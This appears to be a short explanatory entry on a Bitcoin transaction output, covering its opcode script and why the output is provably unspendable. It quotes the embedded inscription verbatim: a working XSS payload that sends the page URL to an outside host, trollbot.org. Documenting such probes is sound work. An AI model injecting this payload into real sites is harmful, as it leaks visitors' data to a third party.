4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af

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4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af by Ciro Santilli 34 Updated 2024-11-19 Created 1970-01-01
Output 0 does: 
OP_ADD OP_ADD 13 OP_EQUAL OP_NOTIF OP_RETURN OP_ENDIF OP_FROMALTSTACK <large xss constant> OP_DROP
where the large constant is an interesting inscription to test for the presence of XSS attacks on blockchain explorers: 
<script type='text/javascript'>document.write('<img src='http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + ''>');</script>`
This is almost spendable with: 
1 OP_TOALTSTACK 10 1 2
but that fails because the altstack is cleared between the input and the output script, so this output is provably unspendable.
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